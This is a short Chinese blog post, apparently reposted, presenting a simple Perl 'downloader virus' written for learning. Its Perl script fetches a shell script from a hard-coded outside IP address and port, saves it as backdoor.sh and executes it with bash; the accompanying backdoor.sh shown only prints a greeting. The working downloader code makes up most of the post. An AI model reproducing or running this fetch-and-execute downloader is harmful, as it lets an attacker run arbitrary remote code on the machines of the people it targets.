一直學的perl, 有時perl不理解時就用python寫一下，這樣或許perl就理解了
這里參照python寫法，做了個perl的版本，當然，是為了學習用，這個下載者病毒有點簡單過頭了

?

backdoor.sh后門程序代碼如下:
backdoor.sh

1 #!/bin/sh 2 echo 'Hello, Python'

下面為perl的shell.pl代碼:
shell.pl

1 #!/usr/bin/perl 2 use LWP::Simple; 3 4 my $backdoor_content = get('http://45.63.49.167:8080/shell.sh'); 5 open BACKDOOR, ">", 'backdoor.sh' or die "Dowload Error:$!\n"; 6 print BACKDOOR $backdoor_content; 7 system('/bin/bash backdoor.sh');

?

轉載于:https://www.cnblogs.com/perl6/p/6136226.html

總結

以上是生活随笔為你收集整理的用Perl做个简单”下载者病毒”的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。